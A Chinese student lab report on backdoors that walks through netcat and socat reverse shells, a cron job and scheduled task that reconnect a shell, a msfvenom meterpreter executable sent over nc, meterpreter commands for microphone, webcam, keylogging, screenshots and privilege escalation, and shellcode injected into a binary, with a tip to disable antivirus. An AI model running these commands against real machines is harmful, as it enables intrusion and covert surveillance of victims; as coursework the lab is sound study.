后门原理与实践

发布时间 2023-03-23 15:32:18作者: 潜水的人2421

1.实验目标

  • 使用netcat获取主机操作Shell,cron启动某项任务(任务自定)PS:cron是linux下
    用来周期性的执行某种任务或等待处理某些事件的一个守护进程
  • 使用socat获取主机操作Shell, 任务计划启动
  • 使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
  • 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
  • 使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。

2.实验要求及问题

  • 掌握后门原理及免杀技术
  • 回答问题
  • (1)例举你能想到的一个后门进入到你系统中的可能方式?
    网上的开源安装包里被混入后门程序,发送钓鱼邮件,在其中混入带有后门程序的链接。
  • (2)例举你知道的后门如何启动起来(win及linux)的方式?
    将后门程序与一些会自行运行的程序绑定如广告弹窗,达成后门的启动。
  • (3)Meterpreter有哪些给你映像深刻的功能?
    获取主机的各种设备权限,远程操控各种设备。
  • (4)如何发现自己有系统有没有被安装后门?
    使用专门的杀毒软件进行查杀,查看计算机注册表是否有可疑操作出现。

3.实验过程

(1)使用netcat获取主机操作Shell
查看主机和虚拟机的ip地址(因为实验中更换了地点,所以IP地址发生了变化)


nc -L -p 2421
Kali开始监听2421端口

ncat.exe -e cmd.exe 192.168.10.132 2421
Widows开始连接Kali运行cmd.exe

使用cron添加命令,使得Linux反弹连接

在kali虚拟机执行指令crotab -e,在文件的末尾添加09 * * * * /bin/netcat 192.168.10.132 2421 -e /bin/sh(在每个小时的第9分钟反向连接Windows主机的2421端口)

可以在09分时看到Wiodows中获得了Linux的Shell

(2) 使用socat获取主机操作Shell
下载socat
打开计算机管理,在任务计划程序中创建任务,填写任务名称。

新建操作,程序或脚本选择socat.exe,添加参数填写tcp-listen:2421 exec:cmd.exe,pty,stderr,把cmd.exe绑定到端口2421,同时把cmd.exe的stderr重定向到stdout上

新建触发器,设定时间为现在时间后的几分钟。

socat - tcp:192.168.31.199:2421在Kali中连接到主机2421端口

时间到达设定时间后socat.exe自启动,获取Shell成功
(3) 使用MSF meterpreter生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
在Kali中运行msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.157.133 LPORT=2421 -f exe > backdoor2421.exe生成后门程序backdoor2421.exe

Wiodows nc.exe -l 2421 > backdoor2421.exe可以看到版本信息与当前连接状态

Kali nc 192.168.31.199 2421 < backdoor2421.exe发送后门程序到Windows。

Windows显示连接信息。

  • Kali中msfconsole进入msf控制台
  • use exploit/multi/handler使用监听模块,设置payload
  • set payload windows/meterpreter/reverse_tcp,使用和生成后门程序时相同的payload
  • set LHOST 192.168.157.133生成后门程序时指定的IP
  • set LPORT 2421生成后门程序时指定的端口
  • show options查看设置信息
  • exploit开始监听,在Windows中启动接收的后门程序,监听成功。(此处记得关闭杀毒软件,并记得添加后门文件为排除项)



可以直接输入命令或者使用shell获取主机Shell

(4) 使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

  • record_mic -d 5指令可以截获一段时长5s的音频,录制完毕自动输出保存路径

  • webcam_snap指令可以使用摄像头进行拍照,拍摄完毕自动输出保存路径,并自动打开图像

  • keyscan_start指令可以记录下击键的过程

  • keyscan_dump则用于读取击键记录

  • screenshot指令可以进行截屏

  • getuid指令可以查看当前用户

  • getsystem指令进行提权操作


(5) 使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
需要使用MSF将payload注入到实验一的pwn2421中,当运行该文件时,我们就可以获得主机的Shell。代码为:

msfvenom -p linux/x86/reverse_tcp LHOST=192.168.157.133 LPORT=2421 -x ./home/kali/Docutement/01/pwn2421 -f elf >pwn20192421——21


4.问题及解决方案

  • 问题1:让Netcat侦听特定端口的命令是“nc -l PORT_NUMBER”。但在Windows 7以上机器上运行这个程序,你会得到一个可怕的消息“local listenfuxored: INVAL”。
  • 问题1解决方案:是使用nc-L选项运行它。 L的意思是“listen harder, re-listen on socket close”,如果想验证Netcat确实在监听那个端口可以使用nmap从另一个终端连接到那个端口。
  • 问题2:安装socat的位置有一定选择,不能装在C盘的system32里,否则会提示找不到相关链接库,无法安装
  • 问题2解决方案:将该文件放入D盘后正常运行
  • 问题3:初次运行PWN文件,提示权限不足
  • 问题3解决方案:使用chmod a+x filename 进行授权

4.学习感悟、思考等

本次实验中由于不够熟练,实验进行时间跨度较大,在后续做实验中遇到不少问题。深刻感受到对于这方面的知识还需要多加熟悉,本次实验多次在CSDN以及同学那里寻求帮助,最后总算是勉强完成,以后还是要勤加复习。

参考资料